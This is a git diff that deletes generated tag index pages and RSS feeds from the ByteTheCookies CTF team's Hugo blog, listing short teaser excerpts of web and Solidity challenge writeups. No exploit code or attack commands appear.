-1,10 +0,0 @@ - - - - http://localhost:1313/tags/sekai/ - - - - - - diff --git a/public/tags/solidity/index.html b/public/tags/solidity/index.html deleted file mode 100644 index e485804e..00000000 --- a/public/tags/solidity/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Solidity - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Solidity

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/solidity/index.xml b/public/tags/solidity/index.xml deleted file mode 100644 index 589b34a0..00000000 --- a/public/tags/solidity/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Solidity on ByteTheCookies - http://localhost:1313/tags/solidity/ - Recent content in Solidity on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - \ No newline at end of file diff --git a/public/tags/solidity/page/1/index.html b/public/tags/solidity/page/1/index.html deleted file mode 100644 index 638a3230..00000000 --- a/public/tags/solidity/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/solidity/ - - - - - - diff --git a/public/tags/spipm/index.html b/public/tags/spipm/index.html deleted file mode 100644 index 9747a71d..00000000 --- a/public/tags/spipm/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Spipm - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Spipm

- - - -
- - -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/spipm/index.xml b/public/tags/spipm/index.xml deleted file mode 100644 index 5f935362..00000000 --- a/public/tags/spipm/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Spipm on ByteTheCookies - http://localhost:1313/tags/spipm/ - Recent content in Spipm on ByteTheCookies - Hugo -- gohugo.io - en - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/spipm/page/1/index.html b/public/tags/spipm/page/1/index.html deleted file mode 100644 index 3bac054b..00000000 --- a/public/tags/spipm/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/spipm/ - - - - - - diff --git a/public/tags/sqlalchemy-injection/index.html b/public/tags/sqlalchemy-injection/index.html deleted file mode 100644 index fce33813..00000000 --- a/public/tags/sqlalchemy-injection/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - SqlAlchemy Injection - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

SqlAlchemy Injection

- - - -
- - -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/sqlalchemy-injection/index.xml b/public/tags/sqlalchemy-injection/index.xml deleted file mode 100644 index 4ebf3453..00000000 --- a/public/tags/sqlalchemy-injection/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - SqlAlchemy Injection on ByteTheCookies - http://localhost:1313/tags/sqlalchemy-injection/ - Recent content in SqlAlchemy Injection on ByteTheCookies - Hugo -- gohugo.io - en - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/sqlalchemy-injection/page/1/index.html b/public/tags/sqlalchemy-injection/page/1/index.html deleted file mode 100644 index 67af3abb..00000000 --- a/public/tags/sqlalchemy-injection/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/sqlalchemy-injection/ - - - - - - diff --git a/public/tags/sqli-+-xss/index.html b/public/tags/sqli-+-xss/index.html deleted file mode 100644 index a11a7dfb..00000000 --- a/public/tags/sqli-+-xss/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - SQLi + XSS - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

SQLi + XSS

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/sqli-+-xss/index.xml b/public/tags/sqli-+-xss/index.xml deleted file mode 100644 index 19bd6474..00000000 --- a/public/tags/sqli-+-xss/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - SQLi + XSS on ByteTheCookies - http://localhost:1313/tags/sqli-+-xss/ - Recent content in SQLi + XSS on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:28 +0200 - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - \ No newline at end of file diff --git a/public/tags/sqli-+-xss/page/1/index.html b/public/tags/sqli-+-xss/page/1/index.html deleted file mode 100644 index a8fd18fc..00000000 --- a/public/tags/sqli-+-xss/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/sqli-+-xss/ - - - - - - diff --git a/public/tags/ssrf/index.html b/public/tags/ssrf/index.html deleted file mode 100644 index a61c1473..00000000 --- a/public/tags/ssrf/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - SSRF - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

SSRF

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ssrf/index.xml b/public/tags/ssrf/index.xml deleted file mode 100644 index 73af7323..00000000 --- a/public/tags/ssrf/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - SSRF on ByteTheCookies - http://localhost:1313/tags/ssrf/ - Recent content in SSRF on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:31 +0200 - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/ssrf/page/1/index.html b/public/tags/ssrf/page/1/index.html deleted file mode 100644 index 027d43d0..00000000 --- a/public/tags/ssrf/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ssrf/ - - - - - - diff --git a/public/tags/stecca/index.html b/public/tags/stecca/index.html deleted file mode 100644 index de07bebe..00000000 --- a/public/tags/stecca/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Stecca - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Stecca

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/stecca/index.xml b/public/tags/stecca/index.xml deleted file mode 100644 index 31955742..00000000 --- a/public/tags/stecca/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Stecca on ByteTheCookies - http://localhost:1313/tags/stecca/ - Recent content in Stecca on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - \ No newline at end of file diff --git a/public/tags/stecca/page/1/index.html b/public/tags/stecca/page/1/index.html deleted file mode 100644 index f8bf8f84..00000000 --- a/public/tags/stecca/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/stecca/ - - - - - - diff --git a/public/tags/stephanie/index.html b/public/tags/stephanie/index.html deleted file mode 100644 index b6728a87..00000000 --- a/public/tags/stephanie/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Stephanie - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Stephanie

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/stephanie/index.xml b/public/tags/stephanie/index.xml deleted file mode 100644 index 6a88fc63..00000000 --- a/public/tags/stephanie/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Stephanie on ByteTheCookies - http://localhost:1313/tags/stephanie/ - Recent content in Stephanie on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 13 Aug 2024 13:01:07 +0200 - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - \ No newline at end of file diff --git a/public/tags/stephanie/page/1/index.html b/public/tags/stephanie/page/1/index.html deleted file mode 100644 index 7bd874e0..00000000 --- a/public/tags/stephanie/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/stephanie/ - - - - - - diff --git a/public/tags/symlink/index.html b/public/tags/symlink/index.html deleted file mode 100644 index eb831f52..00000000 --- a/public/tags/symlink/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Symlink - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Symlink

- - - -
- - -
-

2024

- -
    - -
  • - ZipZone - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/symlink/index.xml b/public/tags/symlink/index.xml deleted file mode 100644 index ac3bb9fa..00000000 --- a/public/tags/symlink/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Symlink on ByteTheCookies - http://localhost:1313/tags/symlink/ - Recent content in Symlink on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:17 +0200 - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - \ No newline at end of file diff --git a/public/tags/symlink/page/1/index.html b/public/tags/symlink/page/1/index.html deleted file mode 100644 index 5a12190e..00000000 --- a/public/tags/symlink/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/symlink/ - - - - - - diff --git a/public/tags/team-k1ndasus/index.html b/public/tags/team-k1ndasus/index.html deleted file mode 100644 index 7eaa3117..00000000 --- a/public/tags/team-k1ndasus/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Team K1ndasus - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Team K1ndasus

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/team-k1ndasus/index.xml b/public/tags/team-k1ndasus/index.xml deleted file mode 100644 index 09d39b1f..00000000 --- a/public/tags/team-k1ndasus/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Team K1ndasus on ByteTheCookies - http://localhost:1313/tags/team-k1ndasus/ - Recent content in Team K1ndasus on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 24 Mar 2025 12:58:37 +0200 - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - \ No newline at end of file diff --git a/public/tags/team-k1ndasus/page/1/index.html b/public/tags/team-k1ndasus/page/1/index.html deleted file mode 100644 index c0213517..00000000 --- a/public/tags/team-k1ndasus/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/team-k1ndasus/ - - - - - - diff --git a/public/tags/team-srdnlen/index.html b/public/tags/team-srdnlen/index.html deleted file mode 100644 index 079f7fa4..00000000 --- a/public/tags/team-srdnlen/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Team Srdnlen - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Team Srdnlen

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/team-srdnlen/index.xml b/public/tags/team-srdnlen/index.xml deleted file mode 100644 index b1ff7308..00000000 --- a/public/tags/team-srdnlen/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Team Srdnlen on ByteTheCookies - http://localhost:1313/tags/team-srdnlen/ - Recent content in Team Srdnlen on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 10 Mar 2025 18:56:14 +0100 - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - \ No newline at end of file diff --git a/public/tags/team-srdnlen/page/1/index.html b/public/tags/team-srdnlen/page/1/index.html deleted file mode 100644 index 210290dd..00000000 --- a/public/tags/team-srdnlen/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/team-srdnlen/ - - - - - - diff --git a/public/tags/team-trx/index.html b/public/tags/team-trx/index.html deleted file mode 100644 index e3987c50..00000000 --- a/public/tags/team-trx/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Team TRX - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Team TRX

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/team-trx/index.xml b/public/tags/team-trx/index.xml deleted file mode 100644 index 6a7190e3..00000000 --- a/public/tags/team-trx/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Team TRX on ByteTheCookies - http://localhost:1313/tags/team-trx/ - Recent content in Team TRX on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 10 Mar 2025 18:57:11 +0100 - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - \ No newline at end of file diff --git a/public/tags/team-trx/page/1/index.html b/public/tags/team-trx/page/1/index.html deleted file mode 100644 index 7c4ac5c0..00000000 --- a/public/tags/team-trx/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/team-trx/ - - - - - - diff --git a/public/tags/team-ulisse/index.html b/public/tags/team-ulisse/index.html deleted file mode 100644 index 8318a657..00000000 --- a/public/tags/team-ulisse/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Team Ulisse - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Team Ulisse

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/team-ulisse/index.xml b/public/tags/team-ulisse/index.xml deleted file mode 100644 index 84976747..00000000 --- a/public/tags/team-ulisse/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Team Ulisse on ByteTheCookies - http://localhost:1313/tags/team-ulisse/ - Recent content in Team Ulisse on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 17:54:49 +0200 - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - \ No newline at end of file diff --git a/public/tags/team-ulisse/page/1/index.html b/public/tags/team-ulisse/page/1/index.html deleted file mode 100644 index 77ee1030..00000000 --- a/public/tags/team-ulisse/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/team-ulisse/ - - - - - - diff --git a/public/tags/template-injection/index.html b/public/tags/template-injection/index.html deleted file mode 100644 index 793c03b9..00000000 --- a/public/tags/template-injection/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Template Injection - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Template Injection

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/template-injection/index.xml b/public/tags/template-injection/index.xml deleted file mode 100644 index f1f8859f..00000000 --- a/public/tags/template-injection/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Template Injection on ByteTheCookies - http://localhost:1313/tags/template-injection/ - Recent content in Template Injection on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 06 Aug 2024 11:27:07 +0200 - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - \ No newline at end of file diff --git a/public/tags/template-injection/page/1/index.html b/public/tags/template-injection/page/1/index.html deleted file mode 100644 index ca659115..00000000 --- a/public/tags/template-injection/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/template-injection/ - - - - - - diff --git a/public/tags/ulisse/index.html b/public/tags/ulisse/index.html deleted file mode 100644 index 6f42cf69..00000000 --- a/public/tags/ulisse/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Ulisse - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Ulisse

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/ulisse/index.xml b/public/tags/ulisse/index.xml deleted file mode 100644 index a8f41db3..00000000 --- a/public/tags/ulisse/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Ulisse on ByteTheCookies - http://localhost:1313/tags/ulisse/ - Recent content in Ulisse on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 17:54:49 +0200 - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Name ctf Description &hellip; -Url Discord Performance Summary CTFs: n/M Total points: &hellip; Position: n/M Rating points: &hellip; Writeups Category Name challange - - - - \ No newline at end of file diff --git a/public/tags/ulisse/page/1/index.html b/public/tags/ulisse/page/1/index.html deleted file mode 100644 index dac35604..00000000 --- a/public/tags/ulisse/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ulisse/ - - - - - - diff --git a/public/tags/val/index.html b/public/tags/val/index.html deleted file mode 100644 index 389558d7..00000000 --- a/public/tags/val/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Val - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Val

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/val/index.xml b/public/tags/val/index.xml deleted file mode 100644 index a8d0e666..00000000 --- a/public/tags/val/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Val on ByteTheCookies - http://localhost:1313/tags/val/ - Recent content in Val on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:28 +0200 - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - \ No newline at end of file diff --git a/public/tags/val/page/1/index.html b/public/tags/val/page/1/index.html deleted file mode 100644 index 3196d143..00000000 --- a/public/tags/val/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/val/ - - - - - - diff --git a/public/tags/vigne/index.html b/public/tags/vigne/index.html deleted file mode 100644 index 6c42e649..00000000 --- a/public/tags/vigne/index.html +++ /dev/null @@ -1,269 +0,0 @@ - - - - - - - - Vigne - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Vigne

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/vigne/index.xml b/public/tags/vigne/index.xml deleted file mode 100644 index a6f94e65..00000000 --- a/public/tags/vigne/index.xml +++ /dev/null @@ -1,78 +0,0 @@ - - - - Vigne on ByteTheCookies - http://localhost:1313/tags/vigne/ - Recent content in Vigne on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:50:14 +0200 - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - <h1 style='text-decoration: underline;text-decoration-color: #9e8c6c;font-size: 3em;'>MovieReviewApp</h1> -<p><strong>Description</strong>: &hellip;</p> - -<h2 id="introduction" class="header-anchor-wrapper">Introduction - <a href="#introduction" class="header-anchor-link"> - <svg width="16px" height="16px" viewBox="0 0 24 24"> -<svg - xmlns="http://www.w3.org/2000/svg" - width="24" height="24" viewBox="0 0 24 24" fill="none" - stroke="currentColor" stroke-width="2" stroke-linecap="round" - stroke-linejoin="round"> - <line x1="4" y1="9" x2="20" y2="9"></line><line x1="4" y1="15" x2="20" y2="15"></line><line x1="10" y1="3" x2="8" y2="21"></line><line 